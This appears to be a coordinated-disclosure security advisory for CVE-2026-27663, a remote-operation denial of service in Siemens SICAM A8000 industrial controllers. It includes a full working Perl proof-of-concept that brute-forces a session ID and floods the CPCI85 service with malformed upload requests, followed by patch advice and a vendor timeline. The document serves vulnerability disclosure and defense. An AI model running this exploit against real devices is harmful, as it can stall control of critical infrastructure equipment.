Remote Operation Denial of Service in Siemens SICAM A8000

Proof of Concept

1) Remote Operation Denial of Service (CVE-2026-27663)

The following script can be used to force the CPCI85 process into a denial of service state:

#!/usr/bin/perl
#Author: T. Weber
#SICAM Remote Operation DoS <=V25.30
use strict;
use warnings;
use LWP::UserAgent;
use Parallel::ForkManager;
$ENV{'PERL_LWP_SSL_VERIFY_HOSTNAME'} = 0;
print "Enter target IP address: ";
chomp(my $ip = <STDIN>);
print "Enter target port: ";
chomp(my $port = <STDIN>);
print "Enter Y/N for HTTPS: ";
chomp(my $tls = <STDIN>);
if ($tls eq "Y") {
    $tls = "https";
} elsif ($tls eq "N") {
    $tls = "http";
} else {
    die "Invalid input for HTTPS (must be Y or N)\n";
}
my $server_endpoint = "$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm";
print "Testing $server_endpoint\n";
# user agent
my $ua = LWP::UserAgent->new(
    ssl_opts   => { SSL_verify_mode => 0 },
    keep_alive => 1,
    agent      => "SICAM TOOLBOX II"
);
# brute force session
my @hex = (0..9, 'A'..'F');
my $found_session;
for my $d1 (@hex) {
    for my $d2 (@hex) {
        for my $d3 (@hex) {
            for my $d4 (@hex) {
                my $session_id = "008cfd320836$d1$d2$d3$d4";
                my $req = HTTP::Request->new(POST => $server_endpoint);
                $req->header('content-type'   => 'text/plain');
                $req->header('Session-ID'     => $session_id);
                $req->header('UPLOADFILENAME' => 'abc.f20');
                $req->content('type=20&length=1&data=A');
                my $resp = $ua->request($req);
                if ($resp->is_success) {
                    print "[$session_id] OK: ", $resp->decoded_content, "\n";
                    if ($resp->decoded_content ne ""){
print "found session\n";
$found_session = $session_id;
last;
}
                } else {
                    print "[$session_id] ERROR: ", $resp->status_line, "\n";
                }
            }
            if ($found_session ne ""){
last;
}
        }
        if ($found_session ne ""){
last;
}
    }  
    if ($found_session ne ""){
last;
}
}
#denial of remote operation
my $max_procs = 10;
my $pm = Parallel::ForkManager->new($max_procs);
my @alpha = (0..9); 
for my $d1 (@alpha) {
    for my $d2 (@alpha) {
            $pm->start and next;
my $len = "$d1$d2";
 
            my $req = HTTP::Request->new(POST => $server_endpoint);
            $req->header('content-type'   => 'text/plain');
            $req->header('Session-ID'     => $found_session);
            $req->header('UPLOADFILENAME' => 'abc.f20');
            $req->content('type=20&length='.$len.'&data=A');
            my $resp = $ua->request($req);
            if ($resp->is_success) {
                print "DoS Running: ".$d1.$d2."\n";
            } else {
                print "ERROR: ", $resp->status_line, "\n";
            }
            $pm->finish;
    }  
}
$pm->wait_all_children;

The service is still running but stalled and cannot be used anymore to set parameters via Toolbox II.

Solution

Install the latest version available.

Workaround

Activate the web-interface to restart the service if needed. Deactivate remote operation if not used. Restrict network access to the device in the infrastructure.

Recommendation

CyberDanube recommends to perform a white-box security assessment of the SICAM A8000 master module devices.

Contact Timeline

• 2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.
• 2026-01-13: Siemens ProductCERT confirms to work on a fix.
• 2026-01-16: Siemens ProductCERT asks for more information regarding the exploitation. Provided more information.
• 2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary timeline.
• 2026-03-26: Siemens informs that patch has been released. Providing more time for customer to patch.
• 2026-04-08: Coordinated release of security advisory.